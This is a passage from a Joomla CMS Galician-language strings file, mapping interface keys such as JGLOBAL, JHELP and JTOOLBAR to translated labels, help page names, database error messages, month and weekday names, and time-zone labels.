empregar." JGLOBAL_ORDERING_DATE_LABEL="Ordenar por data" JGLOBAL_PAGINATION_DESC="Amosar/Agochar a paxinación. A paxinación proporciona ligazóns de páxina que permiten ao usuario navegar a páxinas adicionais. Isto é necesario cando a información a amosar non cabe nunha única páxina." JGLOBAL_PAGINATION_LABEL="Paxinación" JGLOBAL_PAGINATION_RESULTS_DESC="Amosar/Agochar os resultados da paxinación (ex.: Páxina 1 de 4)." JGLOBAL_PAGINATION_RESULTS_LABEL="Resultados da paxinación" JGLOBAL_PASSWORD="Clave" JGLOBAL_PERMISSIONS_ANCHOR="Estabelecer permisos" JGLOBAL_PREVIEW="Previsualización" JGLOBAL_RECORD_NUMBER="ID rexistro: %s" JGLOBAL_REMEMBER_ME="Lembrarme" JGLOBAL_RIGHT="Dereita" JGLOBAL_ROOT="Raíz" JGLOBAL_ROOT_PARENT="- Sen pai -" JGLOBAL_SELECT_ALLOW_DENY_GROUP="Mudar os permisos de %s para o grupo %s." JGLOBAL_SELECTION_INVERT="Inverter selección" JGLOBAL_SELECTION_ALL="Seleccionar todo" JGLOBAL_SELECTION_NONE="Limpar selección" JGLOBAL_SHOW_AUTHOR_DESC="Amosar/Agochar o nome do autor do artigo. Este é unha opción global per pódese mudar desde as opcións da categoría, menú e artigo." JGLOBAL_SHOW_AUTHOR_LABEL="Amosar o autor" JGLOBAL_SHOW_CATEGORY_DESC="Amosar/Agochar o título da categoría do artigo." JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC="Amosar/Agochar a descrición da categoría seleccionada." JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL="Descrición da categoría" JGLOBAL_SHOW_CATEGORY_IMAGE_DESC="Amosar/Agochar a imaxe da categoría seleccionada." JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL="Imaxe da categoría" JGLOBAL_SHOW_CATEGORY_LABEL="Amosar a categoría" JGLOBAL_SHOW_CATEGORY_TITLE="Category Title" JGLOBAL_SHOW_CATEGORY_TITLE_DESC="Amosar/Agochar o título da categoría como subtitulo da páxina. O subtítulo adoita amosarse dentro da etiqueta "H2"." JGLOBAL_SHOW_CREATE_DATE_DESC="Amosar/Agochar a data e a hora de creación dun artigo. Esta é unha opción global pero pódese mudar nas opcións de menú e artigo." JGLOBAL_SHOW_CREATE_DATE_LABEL="Amosar a data de creación" JGLOBAL_SHOW_DATE_DESC="Amosa a columna da data na lista de artigos. Selecciona agochar se non quere amosar a data ou indique a data que quere amosar." JGLOBAL_SHOW_DATE_LABEL="Amosar data" JGLOBAL_SHOW_EMAIL_ICON_DESC="Amosar/Agochar a icona do correo para suxerir o artigo enviando un correo." JGLOBAL_SHOW_EMAIL_ICON_LABEL="Amosar icona de correo" JGLOBAL_SHOW_EMPTY_CATEGORIES_DESC="Amosar/Agochar as categorías quen non teñen nin artigos nin subcategorías." JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL="Empty Categories" JGLOBAL_SHOW_FEED_LINK_DESC="Amosar/Agochar a ligazón da semente RSS. (Nos navegadores máis modernos amosarase unha icona na barra de enderezos)." JGLOBAL_SHOW_FEED_LINK_LABEL="Amosar ligazón da semente" JGLOBAL_SHOW_HEADINGS_DESC="Amosar/Agochar as cabeceiras das táboas nas presentacións de tipo lista." JGLOBAL_SHOW_HEADINGS_LABEL="Cabeceiras de táboa" JGLOBAL_SHOW_HITS_DESC="Amosar/Agochar o número de accesos a un artigo. Este é un valor global pero tamén pódese mudar desde as opcións da categoría, menú e artigo." JGLOBAL_SHOW_HITS_LABEL="Amosar accesos" JGLOBAL_SHOW_ICONS_DESC="Amosar/Agochar as iconas no canto do texto de imprimir e correo" JGLOBAL_SHOW_ICONS_LABEL="Amosar iconas" JGLOBAL_SHOW_INTRO_DESC="Amosar/Agochar o texto introdutorio ao amosar o texto completo do artigo." JGLOBAL_SHOW_INTRO_LABEL="Amosar o texto introdutorio" JGLOBAL_SHOW_MODIFY_DATE_DESC="Amosar/Agochar a data e hora de modificación do artigo. Esta é unha opción global pódese mudar nas opcións da categoría, menú e artigo." JGLOBAL_SHOW_MODIFY_DATE_LABEL="Amosar a data de modificación" JGLOBAL_SHOW_NAVIGATION_DESC="Amosar/Agochar as ligazóns de navegación (Anterior e Seguinte) entre os artigos." JGLOBAL_SHOW_NAVIGATION_LABEL="Amosar navegación entre artigos" JGLOBAL_SHOW_PARENT_CATEGORY_DESC="Amosar/Agochar o título da categoría pai." JGLOBAL_SHOW_PARENT_CATEGORY_LABEL="Amosar a categoría pai" JGLOBAL_SHOW_PRINT_ICON_DESC="Amosar/Agochar a icona de imprimir." JGLOBAL_SHOW_PRINT_ICON_LABEL="Amosar a icona imprimir" JGLOBAL_SHOW_PUBLISH_DATE_DESC="Amosar/Agochar a data e hora de publicación. Esta é unha opción global e pódese modificar nas opcións da categoría, menú e artigo." JGLOBAL_SHOW_PUBLISH_DATE_LABEL="Amosar a data de publicación" JGLOBAL_SHOW_READMORE_DESC="Amosar/Agochar a ligazón "Ler máis..." (cando o artigo ten un texto principal)." JGLOBAL_SHOW_READMORE_LABEL="Amosar "Ler máis..."" JGLOBAL_SHOW_READMORE_TITLE_DESC="Amosar/agochar o título do artigo no canto da ligazón "Ler máis..."." JGLOBAL_SHOW_READMORE_TITLE_LABEL="Amosar o título no canto de "Ler máis..."." JGLOBAL_SHOW_READMORE_LIMIT_DESC="Número de caracteres máximo para o artigo a amorar no lugar de "Ler máis..."." JGLOBAL_SHOW_READMORE_LIMIT_LABEL="Límite de caracteres para "Ler máis..."." JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC="Amosar/Agochar as descricións das subcategorías." JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL="Descrición das subcategorías" JGLOBAL_SHOW_SUBCATEGORY_CONTENT_LABEL="Incluír subcategorías" JGLOBAL_SHOW_SUBCATEGORY_CONTENT_DESC="Se ningunha, só se amosarán os artigos desta categoría. Se selecciona un número, amosaranse no formato blogue todos os artigos das categorías e subcategorías até este nivel." JGLOBAL_SHOW_TITLE_DESC="Amosar/Agochar o título dos artigos." JGLOBAL_SHOW_TITLE_LABEL="Amosar título" JGLOBAL_SHOW_UNAUTH_LINKS_DESC="Amosar/Agochar as ligazóns dos elementos dispoñíbeis só para usuarios identificados. Para os usuarios non identificados será solicitada a identificación ou crear unha conta." JGLOBAL_SHOW_UNAUTH_LINKS_LABEL="Amosar as ligazóns non autorizadas" JGLOBAL_SHOW_VOTE_DESC="Amosar/Agochar o sistema de votación de artigos" JGLOBAL_SHOW_VOTE_LABEL="Amosar votacións" JGLOBAL_SINGLE_LEVEL="Nivel único" JGLOBAL_START_PUBLISH_AFTER_FINISH="A data de publicación do elemento ten que ser anterior á data final de publicación" JGLOBAL_SUBHEADING_DESC="Texto opcional a amosar como subtítulo da páxina." JGLOBAL_SUBHEADING_LABEL="Subtítulo da páxina" JGLOBAL_SUBMENU_CHECKIN="Trabar" JGLOBAL_SUBMENU_CLEAR_CACHE="Purgar a caché" JGLOBAL_SUBMENU_PURGE_EXPIRED_CACHE="Purgar a caché expirada" JGLOBAL_SUBSLIDER_BLOG_EXTENDED_LABEL="A opción de embaixo permite incluír artigos das subcategorías nas presentacións do tipo blogue." JGLOBAL_SUBSLIDER_BLOG_LAYOUT_LABEL="Se se deixa algún campo en branco, empregarase a configuración global." JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL="Estas opcións tamén se aplican ao facer clic sobre:
              unha ligazón categoría, a primeira páxina ou os seguintes que poidan haber a partir de aí,
              sempre e cando non sen mudasen para un elemento do menú específico." JGLOBAL_TITLE="Título" JGLOBAL_TITLE_ALPHABETICAL="Título alfabético" JGLOBAL_TITLE_REVERSE_ALPHABETICAL="Título alfabético invertido" JGLOBAL_TOP="Arriba" JGLOBAL_TPL_CPANEL_LINK_TEXT="Volver ao panel de administración" JGLOBAL_USE_GLOBAL="Usar global" JGLOBAL_USERNAME="Nome de usuario" JGLOBAL_VALIDATION_FORM_FAILED="Formulario non válido" JGLOBAL_VIEW_SITE="Ver sitio" JGLOBAL_WARNJAVASCRIPT="Aviso! JavaScript ten que estar activado para un correcto funcionamento da interface de administración." JGLOBAL_WIDTH="Largura" JGLOBAL_CHECK_ALL="Marcar todo" JGRID_HEADING_ACCESS="Acceso" JGRID_HEADING_CREATED_BY="Creado por" JGRID_HEADING_ID="ID" JGRID_HEADING_LANGUAGE="Idioma" JGRID_HEADING_MENU_ITEM_TYPE="Tipo de elemento de menú" JGRID_HEADING_ORDERING="Orde" JGRID_HEADING_ROW_NUMBER="#" JGRID_CHECKBOX_ROW_N="Casa de selección para a fila %d" JHELP_COMPONENTS_BANNERS_BANNERS="Components_Banners_Banners" JHELP_COMPONENTS_BANNERS_BANNERS_EDIT="Components_Banners_Banners_Edit" JHELP_COMPONENTS_BANNERS_CATEGORIES="Components_Banners_Categories" JHELP_COMPONENTS_BANNERS_CATEGORY_ADD="Components_Banners_Categories_Edit" JHELP_COMPONENTS_BANNERS_CATEGORY_EDIT="Components_Banners_Categories_Edit" JHELP_COMPONENTS_BANNERS_CLIENTS="Components_Banners_Clients" JHELP_COMPONENTS_BANNERS_CLIENTS_EDIT="Components_Banners_Clients_Edit" JHELP_COMPONENTS_BANNERS_TRACKS="Components_Banners_Tracks" JHELP_COMPONENTS_CONTACT_CATEGORIES="Components_Contacts_Categories" JHELP_COMPONENTS_CONTACT_CATEGORY_ADD="Components_Contacts_Categories_Edit" JHELP_COMPONENTS_CONTACT_CATEGORY_EDIT="Components_Contacts_Categories_Edit" JHELP_COMPONENTS_CONTACTS_CONTACTS="Components_Contacts_Contacts" JHELP_COMPONENTS_CONTACTS_CONTACTS_EDIT="Components_Contacts_Contacts_Edit" JHELP_COMPONENTS_CONTENT_CATEGORIES="Components_Content_Categories" JHELP_COMPONENTS_CONTENT_CATEGORY_ADD="Components_Content_Categories_Edit" JHELP_COMPONENTS_CONTENT_CATEGORY_EDIT="Components_Content_Categories_Edit" JHELP_COMPONENTS_FINDER_MANAGE_INDEXED_CONTENT="Components_Finder_Manage_Indexed_Content" JHELP_COMPONENTS_FINDER_MANAGE_CONTENT_MAPS="Components_Finder_Manage_Content_Maps" JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS="Components_Finder_Manage_Search_Filters" JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS_EDIT="Components_Finder_Manage_Search_Filters_Edit" JHELP_COMPONENTS_MESSAGING_INBOX="Components_Messaging_Inbox" JHELP_COMPONENTS_MESSAGING_READ="Components_Messaging_Read" JHELP_COMPONENTS_MESSAGING_WRITE="Components_Messaging_Write" JHELP_COMPONENTS_NEWSFEEDS_CATEGORIES="Components_Newsfeeds_Categories" JHELP_COMPONENTS_NEWSFEEDS_CATEGORY_ADD="Components_Newsfeeds_Categories_Edit" JHELP_COMPONENTS_NEWSFEEDS_CATEGORY_EDIT="Components_Newsfeeds_Categories_Edit" JHELP_COMPONENTS_NEWSFEEDS_FEEDS="Components_Newsfeeds_Feeds" JHELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT="Components_Newsfeeds_Feeds_Edit" JHELP_COMPONENTS_REDIRECT_MANAGER="Components_Redirect_Manager" JHELP_COMPONENTS_REDIRECT_MANAGER_EDIT="Components_Redirect_Manager_Edit" JHELP_COMPONENTS_SEARCH="Components_Search" JHELP_COMPONENTS_WEBLINKS_CATEGORIES="Components_Weblinks_Categories" JHELP_COMPONENTS_WEBLINKS_CATEGORY_ADD="Components_Weblinks_Categories_Edit" JHELP_COMPONENTS_WEBLINKS_CATEGORY_EDIT="Components_Weblinks_Categories_Edit" JHELP_COMPONENTS_WEBLINKS_LINKS="Components_Weblinks_Links" JHELP_COMPONENTS_WEBLINKS_LINKS_EDIT="Components_Weblinks_Links_Edit" JHELP_CONTENT_ARTICLE_MANAGER="Content_Article_Manager" JHELP_CONTENT_ARTICLE_MANAGER_EDIT="Content_Article_Manager_Edit" JHELP_CONTENT_FEATURED_ARTICLES="Content_Featured_Articles" JHELP_CONTENT_MEDIA_MANAGER="Content_Media_Manager" JHELP_EXTENSIONS_EXTENSION_MANAGER_DATABASE="Extensions_Extension_Manager_Database" JHELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER="Extensions_Extension_Manager_Discover" JHELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL="Extensions_Extension_Manager_Install" JHELP_EXTENSIONS_EXTENSION_MANAGER_LANGUAGES="Extensions_Extension_Manager_languages" JHELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE="Extensions_Extension_Manager_Manage" JHELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE="Extensions_Extension_Manager_Update" JHELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS="Extensions_Extension_Manager_Warnings" JHELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT="Extensions_Language_Manager_Content" JHELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT="Extensions_Language_Manager_Edit" JHELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED="Extensions_Language_Manager_Installed" JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES="Extensions_Language_Manager_Overrides" JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES_EDIT="Extensions_Language_Manager_Overrides_Edit" JHELP_EXTENSIONS_MODULE_MANAGER="Extensions_Module_Manager" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_CUSTOM="Extensions_Module_Manager_Admin_Custom" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_FEED="Extensions_Module_Manager_Admin_Feed" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LATEST="Extensions_Module_Manager_Admin_Latest" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LOGGED="Extensions_Module_Manager_Admin_Logged" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LOGIN="Extensions_Module_Manager_Admin_Login" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_MENU="Extensions_Module_Manager_Admin_Menu" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_MULTILANG="Extensions_Module_Manager_Admin_Multilang" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_ONLINE="Extensions_Module_Manager_Admin_Online" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_POPULAR="Extensions_Module_Manager_Admin_Popular" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_QUICKICON="Extensions_Module_Manager_Admin_Quickicon" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_STATUS="Extensions_Module_Manager_Admin_Status" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_SUBMENU="Extensions_Module_Manager_Admin_Submenu" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_TITLE="Extensions_Module_Manager_Admin_Title" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_TOOLBAR="Extensions_Module_Manager_Admin_Toolbar" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_UNREAD="Extensions_Module_Manager_Admin_Unread" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_ARCHIVE="Extensions_Module_Manager_Articles_Archive" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORIES="Extensions_Module_Manager_Articles_Categories" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORY="Extensions_Module_Manager_Articles_Category" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_NEWSFLASH="Extensions_Module_Manager_Articles_Newsflash" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_RELATED="Extensions_Module_Manager_Articles_Related" JHELP_EXTENSIONS_MODULE_MANAGER_BANNERS="Extensions_Module_Manager_Banners" JHELP_EXTENSIONS_MODULE_MANAGER_BREADCRUMBS="Extensions_Module_Manager_Breadcrumbs" JHELP_EXTENSIONS_MODULE_MANAGER_CUSTOM_HTML="Extensions_Module_Manager_Custom_HTML" JHELP_EXTENSIONS_MODULE_MANAGER_EDIT="Extensions_Module_Manager_Edit" JHELP_EXTENSIONS_MODULE_MANAGER_FEED_DISPLAY="Extensions_Module_Manager_Feed_Display" JHELP_EXTENSIONS_MODULE_MANAGER_FOOTER="Extensions_Module_Manager_Footer" JHELP_EXTENSIONS_MODULE_MANAGER_LANGUAGE_SWITCHER="Extensions_Module_Manager_Language_Switcher" JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_NEWS="Extensions_Module_Manager_Latest_News" JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_USERS="Extensions_Module_Manager_Latest_Users" JHELP_EXTENSIONS_MODULE_MANAGER_LOGIN="Extensions_Module_Manager_Login" JHELP_EXTENSIONS_MODULE_MANAGER_MENU="Extensions_Module_Manager_Menu" JHELP_EXTENSIONS_MODULE_MANAGER_MOST_READ="Extensions_Module_Manager_Most_Read" JHELP_EXTENSIONS_MODULE_MANAGER_RANDOM_IMAGE="Extensions_Module_Manager_Random_Image" JHELP_EXTENSIONS_MODULE_MANAGER_SEARCH="Extensions_Module_Manager_Search" JHELP_EXTENSIONS_MODULE_MANAGER_SMART_SEARCH="Extensions_Module_Manager_Smart_Search" JHELP_EXTENSIONS_MODULE_MANAGER_STATISTICS="Extensions_Module_Manager_Statistics" JHELP_EXTENSIONS_MODULE_MANAGER_SYNDICATION_FEEDS="Extensions_Module_Manager_Syndication_Feeds" JHELP_EXTENSIONS_MODULE_MANAGER_WEBLINKS="Extensions_Module_Manager_Weblinks" JHELP_EXTENSIONS_MODULE_MANAGER_WHO_ONLINE="Extensions_Module_Manager_Who_Online" JHELP_EXTENSIONS_MODULE_MANAGER_WRAPPER="Extensions_Module_Manager_Wrapper" JHELP_EXTENSIONS_PLUGIN_MANAGER="Extensions_Plugin_Manager" JHELP_EXTENSIONS_PLUGIN_MANAGER_EDIT="Extensions_Plugin_Manager_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES="Extensions_Template_Manager_Styles" JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES_EDIT="Extensions_Template_Manager_Styles_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES="Extensions_Template_Manager_Templates" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT="Extensions_Template_Manager_Templates_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT_SOURCE="Extensions_Template_Manager_Templates_Edit_Source" JHELP_GLOSSARY="Glosario" JHELP_MENUS_MENU_ITEM_ARTICLE_ARCHIVED="Menus_Menu_Item_Article_Archived" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORIES="Menus_Menu_Item_Article_Categories" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_BLOG="Menus_Menu_Item_Article_Category_Blog" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_LIST="Menus_Menu_Item_Article_Category_List" JHELP_MENUS_MENU_ITEM_ARTICLE_CREATE="Menus_Menu_Item_Article_Create" JHELP_MENUS_MENU_ITEM_ARTICLE_FEATURED="Menus_Menu_Item_Article_Featured" JHELP_MENUS_MENU_ITEM_ARTICLE_SINGLE_ARTICLE="Menus_Menu_Item_Article_Single_Article" JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORIES="Menus_Menu_Item_Contact_Categories" JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORY="Menus_Menu_Item_Contact_Category" JHELP_MENUS_MENU_ITEM_CONTACT_FEATURED="Menus_Menu_Item_Contact_Featured" JHELP_MENUS_MENU_ITEM_CONTACT_SINGLE_CONTACT="Menus_Menu_Item_Contact_Single_Contact" JHELP_MENUS_MENU_ITEM_EXTERNAL_URL="Menus_Menu_Item_External_URL" JHELP_MENUS_MENU_ITEM_FINDER_SEARCH="Menus_Menu_Item_Finder_Search" JHELP_MENUS_MENU_ITEM_MANAGER="Menus_Menu_Item_Manager" JHELP_MENUS_MENU_ITEM_MANAGER_EDIT="Menus_Menu_Item_Manager_Edit" JHELP_MENUS_MENU_ITEM_MENU_ITEM_ALIAS="Menus_Menu_Item_Menu_Item_Alias" JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORIES="Menus_Menu_Item_Newsfeed_Categories" JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORY="Menus_Menu_Item_Newsfeed_Category" JHELP_MENUS_MENU_ITEM_NEWSFEED_SINGLE_NEWSFEED="Menus_Menu_Item_Newsfeed_Single_Newsfeed" JHELP_MENUS_MENU_ITEM_SEARCH_RESULTS="Menus_Menu_Item_Search_Results" JHELP_MENUS_MENU_ITEM_TEXT_SEPARATOR="Menus_Menu_Item_Text_Separator" JHELP_MENUS_MENU_ITEM_USER_LOGIN="Menus_Menu_Item_User_Login" JHELP_MENUS_MENU_ITEM_USER_PASSWORD_RESET="Menus_Menu_Item_User_Password_Reset" JHELP_MENUS_MENU_ITEM_USER_PROFILE="Menus_Menu_Item_User_Profile" JHELP_MENUS_MENU_ITEM_USER_PROFILE_EDIT="Menus_Menu_Item_User_Profile_Edit" JHELP_MENUS_MENU_ITEM_USER_REGISTRATION="Menus_Menu_Item_User_Registration" JHELP_MENUS_MENU_ITEM_USER_REMINDER="Menus_Menu_Item_User_Reminder" JHELP_MENUS_MENU_ITEM_WEBLINK_CATEGORIES="Menus_Menu_Item_Weblink_Categories" JHELP_MENUS_MENU_ITEM_WEBLINK_CATEGORY="Menus_Menu_Item_Weblink_Category" JHELP_MENUS_MENU_ITEM_WEBLINK_SUBMIT="Menus_Menu_Item_Weblink_Submit" JHELP_MENUS_MENU_ITEM_WRAPPER="Menus_Menu_Item_Wrapper" JHELP_MENUS_MENU_MANAGER="Menus_Menu_Manager" JHELP_MENUS_MENU_MANAGER_EDIT="Menus_Menu_Manager_Edit" JHELP_SITE_GLOBAL_CONFIGURATION="Site_Global_Configuration" JHELP_SITE_MAINTENANCE_CLEAR_CACHE="Site_Maintenance_Clear_Cache" JHELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN="Site_Maintenance_Global_Check-in" JHELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE="Site_Maintenance_Purge_Expired_Cache" JHELP_SITE_SYSTEM_INFORMATION="Site_System_Information" JHELP_START_HERE="Start_Here" JHELP_USERS_ACCESS_LEVELS="Users_Access_Levelsq" JHELP_USERS_ACCESS_LEVELS_EDIT="Users_Access_Levels_Edit" JHELP_USERS_DEBUG_USERS="Users_Debug_Users" JHELP_USERS_GROUPS="Users_Groups" JHELP_USERS_GROUPS_EDIT="Users_Groups_Editq" JHELP_USERS_MASS_MAIL_USERS="Users_Mass_Mail_Users" JHELP_USERS_USER_MANAGER="Users_User_Manager" JHELP_USERS_USER_MANAGER_EDIT="Users_User_Manager_Edit" JHELP_USERS_USER_NOTES="Users_User_Notes" JHELP_USERS_USER_NOTES_EDIT="Users_User_Notes_Edit" ; if there is an error connecting database before initialization, en-GB.lib_joomla.ini can't be loaded ; we therefore have to load the strings from en-GB.ini JLIB_DATABASE_ERROR_ADAPTER_MYSQL="O adaptador MySQL 'mysql' non está dispoñíbel." JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="O adaptador MySQL 'mysqli' non está dispoñíbel." JLIB_DATABASE_ERROR_CONNECT_DATABASE="Non é posíbel conectar coa base de datos: %s" JLIB_DATABASE_ERROR_CONNECT_MYSQL="Non foi posíbel conectar con MySQL." JLIB_DATABASE_ERROR_DATABASE_CONNECT="Non foi posíbel conectar coa base de datos" JLIB_DATABASE_ERROR_LOAD_DATABASE_DRIVER="Non é posíbel cargar o controlador da base de datos: %s" JLIB_ERROR_INFINITE_LOOP="Detectouse un bucle infinito en JError" JOPTION_ACCESS_SHOW_ALL_ACCESS="Amosar todos os accesos" JOPTION_ACCESS_SHOW_ALL_GROUPS="Amosar todos os grupos" JOPTION_ACCESS_SHOW_ALL_LEVELS="Amosar todos os niveis de acceso" JOPTION_ALL_CATEGORIES="- Todas as categorías -" JOPTION_ANY_CATEGORY="Calquera categoría" JOPTION_ANY="Calquera" JOPTION_DO_NOT_USE="- Non seleccionado -" JOPTION_FROM_COMPONENT="---Do compoñente---" JOPTION_FROM_MODULE="---Do módulo---" JOPTION_FROM_TEMPLATE="---Do tema %s---" JOPTION_FROM_STANDARD="---Das opcións globais---" JOPTION_MENUS="Menús" JOPTION_NO_USER="- Ningún usuario -" JOPTION_OPTIONAL="Opcional" JOPTION_ORDER_FIRST="Primeira orde" JOPTION_ORDER_LAST="Última orde" JOPTION_REQUIRED="Requirido" JOPTION_SELECT_ACCESS="- Seleccionar acceso -" JOPTION_SELECT_AUTHOR_ALIAS="- Seleccionar alcume do autor -" JOPTION_SELECT_AUTHOR_ALIASES="- Seleccionar alcumes de autor - " JOPTION_SELECT_AUTHOR="- Seleccionar autor -" JOPTION_SELECT_AUTHORS="- Seleccionar autores -" JOPTION_SELECT_CATEGORY="- Seleccionar categoría -" JOPTION_SELECT_EDITOR="- Seleccionar editor -" JOPTION_SELECT_IMAGE="- Seleccionar imaxe -" JOPTION_SELECT_LANGUAGE="- Seleccionar idioma -" JOPTION_SELECT_MENU="- Seleccionar menú -" JOPTION_SELECT_MENU_ITEM="- Seleccionar elemento de menú -" JOPTION_SELECT_PUBLISHED="- Seleccionar estado -" JOPTION_SELECT_TEMPLATE="- Escoller tema -" JOPTION_SELECT_MAX_LEVELS="- Escoller niveis máximos -" JOPTION_UNASSIGNED="No asignado" JOPTION_USE_DEFAULT_MODULE_SETTING="- Usar as opcións predeterminadas do módulo -" JOPTION_USE_DEFAULT="- Usar predeterminado -" JOPTION_USE_MENU_REQUEST_SETTING="- Usar as opcións do menú ou do elemento -" JSEARCH_FILTER_LABEL="Filtrar:" JSEARCH_FILTER_CLEAR="Limpar" JSEARCH_FILTER_SUBMIT="Buscar" JSEARCH_FILTER="Buscar" JSEARCH_TITLE="Buscar %s" JSEARCH_RESET="Reaxustar" JTOOLBAR_APPLY="Gardar" JTOOLBAR_ARCHIVE="Arquivar" JTOOLBAR_ASSIGN="Asignar" JTOOLBAR_BACK="Atrás" JTOOLBAR_CANCEL="Cancelar" JTOOLBAR_CHECKIN="Destrabar" JTOOLBAR_CLOSE="Pechar" JTOOLBAR_DEFAULT="Predeterminado" JTOOLBAR_DELETE="Borrar" JTOOLBAR_DISABLE="Desactivar" JTOOLBAR_DUPLICATE="Duplicar" JTOOLBAR_EDIT="Modificar" JTOOLBAR_EDIT_CSS="Modificar CSS" JTOOLBAR_EDIT_HTML="Modificar HTML" JTOOLBAR_EMPTY_TRASH="Baleirar o lixo" JTOOLBAR_ENABLE="Activar" JTOOLBAR_EXPORT="Exportar" JTOOLBAR_HELP="Axuda" JTOOLBAR_INSTALL="Instalar" JTOOLBAR_NEW="Novo" JTOOLBAR_OPTIONS="Opcións" JTOOLBAR_PUBLISH="Publicar" JTOOLBAR_PURGE_CACHE="Purgar a caché" JTOOLBAR_REBUILD="Reconstruír" JTOOLBAR_REFRESH_CACHE="Actualizar a caché" JTOOLBAR_REMOVE="Eliminar" JTOOLBAR_SAVE="Save & Close" JTOOLBAR_SAVE_AND_NEW="Gardar e novo" JTOOLBAR_SAVE_AS_COPY="Gardar como copia" JTOOLBAR_UNARCHIVE="Desarquivar" JTOOLBAR_UNINSTALL="Desinstalar" JTOOLBAR_UNPUBLISH="Despublicar" JTOOLBAR_UPLOAD="Subir" JTOOLBAR_TRASH="Papeleira" JTOOLBAR_REBUILD_SUCCESS="A reconstrución tivo éxito" JWARNING_PUBLISH_MUST_SELECT="Escolla polo menos un elemento a publicar." JWARNING_ARCHIVE_MUST_SELECT="Escolla polo menos un elemento a arquivar." JWARNING_UNPUBLISH_MUST_SELECT="Escolla polo menos un elemento a despublicar." JWARNING_TRASH_MUST_SELECT="Escolla polo menos un elemento a eliminar." JWARNING_DELETE_MUST_SELECT="Escolla polo menos un elemento a eliminar de xeito permanente." JWARNING_REMOVE_ROOT_USER="Está conectado empregando o usuario de emerxencia configurado desde o ficheiro configuration.php.
              Por razóns de seguranza, debería eliminar o usuario $root_user do ficheiro configuration.php tan axiña como teña recuperado o control do seu sitio.
              Prema aquí para tentar eliminalo de xeito automático." ; Date format DATE_FORMAT_LC="l, d F Y" DATE_FORMAT_LC1="l, d F Y" DATE_FORMAT_LC2="l, d F Y H:i" DATE_FORMAT_LC3="d F Y" DATE_FORMAT_LC4="Y-m-d" DATE_FORMAT_JS1="y-m-d" ; Months JANUARY_SHORT="Xan" JANUARY="Xaneiro" FEBRUARY_SHORT="Feb" FEBRUARY="Febreiro" MARCH_SHORT="Mar" MARCH="Marzo" APRIL_SHORT="Abr" APRIL="Abril" MAY_SHORT="Mai" MAY="Mai" JUNE_SHORT="Xun" JUNE="Xuño" JULY_SHORT="Xul" JULY="Xullo" AUGUST_SHORT="Ago" AUGUST="Agosto" SEPTEMBER_SHORT="Set" SEPTEMBER="Setembro" OCTOBER_SHORT="Out" OCTOBER="Outubro" NOVEMBER_SHORT="Nov" NOVEMBER="Novembro" DECEMBER_SHORT="Dec" DECEMBER="Decembro" ; Days of the Week SAT="Sab" SATURDAY="Sábado" SUN="Dom" SUNDAY="Domingo" MON="Lun" MONDAY="Luns" TUE="Mar" TUESDAY="Martes" WED="Mer" WEDNESDAY="Mércores" THU="Xov" THURSDAY="Xoves" FRI="Ven" FRIDAY="Venres" ; Time Zones TIME_ZONE="Fuso horario" UTC__12_00__INTERNATIONAL_DATE_LINE_WEST="(UTC -12:00) International Date Line West" UTC__11_00__MIDWAY_ISLAND__SAMOA="(UTC -11:00) Midway Island, Samoa" UTC__10_00__HAWAII="(UTC -10:00) Hawaii" UTC__09_30__TAIOHAE__MARQUESAS_ISLANDS="(UTC 